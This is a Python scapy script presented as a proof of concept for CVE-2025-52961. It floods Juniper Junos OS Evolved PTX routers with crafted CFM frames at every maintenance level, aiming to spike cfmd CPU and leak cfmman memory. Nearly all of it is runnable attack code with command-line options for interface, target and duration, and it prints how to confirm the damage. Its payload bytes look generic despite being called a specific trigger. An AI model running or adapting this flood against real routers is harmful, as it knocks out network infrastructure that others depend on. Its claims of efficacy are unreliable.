# CVE-2025-52961 PoC - Juniper Junos OS Evolved CFM DoS
# This PoC demonstrates the attack vector by sending specific valid CFM protocol frames
# to trigger CPU spike in cfmd and memory leak in cfmman
#!/usr/bin/env python3
"""
CVE-2025-52961 PoC
Vulnerability: Uncontrolled Resource Consumption in cfmd/cfmman
Affected: Juniper Junos OS Evolved on PTX10001-36MR, PTX10002-36QDD, PTX10004, PTX10008, PTX10016
Attack: Send specific valid CFM frames from adjacent network to cause DoS
"""
from scapy.all import Ether, Dot1Q, LLC, SNAP, Raw, sendp, conf
import time
import argparse
# CFM EtherType (IEEE 802.1ag / ITU-T Y.1731)
CFM_ETHERTYPE = 0x8902
def craft_cfm_frame(target_mac="01:80:c2:00:00:30", level=3, opcode=0):
"""
Craft a specific CFM (Connectivity Fault Management) protocol frame.
CFM uses multicast destination MAC 01:80:c2:00:00:30 (Level 3).
The frame triggers resource consumption in cfmd/cfmman on vulnerable Junos OS Evolved.
"""
# Ethernet header with CFM multicast destination
dst_mac = f"01:80:c2:00:00:3{level}" # CFM multicast MAC for given level
# CFM PDU structure
# MD Level (3 bits) | Version (5 bits) | Opcode (8 bits) | Flags (8 bits) | TLVs
md_level_version = (level << 5) | 0 # Level 3, Version 0
# Build CFM payload
cfm_payload = bytes([
md_level_version, # MD Level + Version
opcode, # Opcode (0=Reserved/specific trigger)
0x00, # Flags
0x00, 0x19, # TLV offset
0x00, 0x00, 0x00, 0x01, # Sequence number
0x00, 0x01, # MD/MA ID format
])
# Construct the frame
frame = Ether(dst=dst_mac, type=CFM_ETHERTYPE) / Raw(load=cfm_payload)
return frame
def exploit(interface, target_ip, duration=60, interval=0.01):
"""
Send crafted CFM frames to trigger CPU spike and memory leak.
Args:
interface: Network interface to send packets from (must be adjacent to target)
target_ip: Target device IP (for reference/logging)
duration: Attack duration in seconds
interval: Interval between packets in seconds
"""
conf.verb = 0
print(f"[*] CVE-2025-52961 PoC - CFM Resource Consumption DoS")
print(f"[*] Target: {target_ip}")
print(f"[*] Interface: {interface}")
print(f"[*] Duration: {duration}s")
print(f"[*] Sending crafted CFM frames...")
end_time = time.time() + duration
pkt_count = 0
while time.time() < end_time:
# Send CFM frame at different levels to trigger the vulnerability
for level in range(0, 7):
frame = craft_cfm_frame(level=level, opcode=0)
sendp(frame, iface=interface, verbose=False)
pkt_count += 1
time.sleep(interval)
print(f"[*] Sent {pkt_count} CFM frames")
print(f"[*] Attack complete. Target cfmd should show 100% CPU, cfmman memory should be leaking.")
print(f"[*] Monitor with: show system processes node fpc<num> detail | match cfmman")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-52961 PoC")
parser.add_argument("-i", "--interface", required=True, help="Network interface")
parser.add_argument("-t", "--target", required=True, help="Target device IP")
parser.add_argument("-d", "--duration", type=int, default=60, help="Duration in seconds")
args = parser.parse_args()
exploit(args.interface, args.target, args.duration)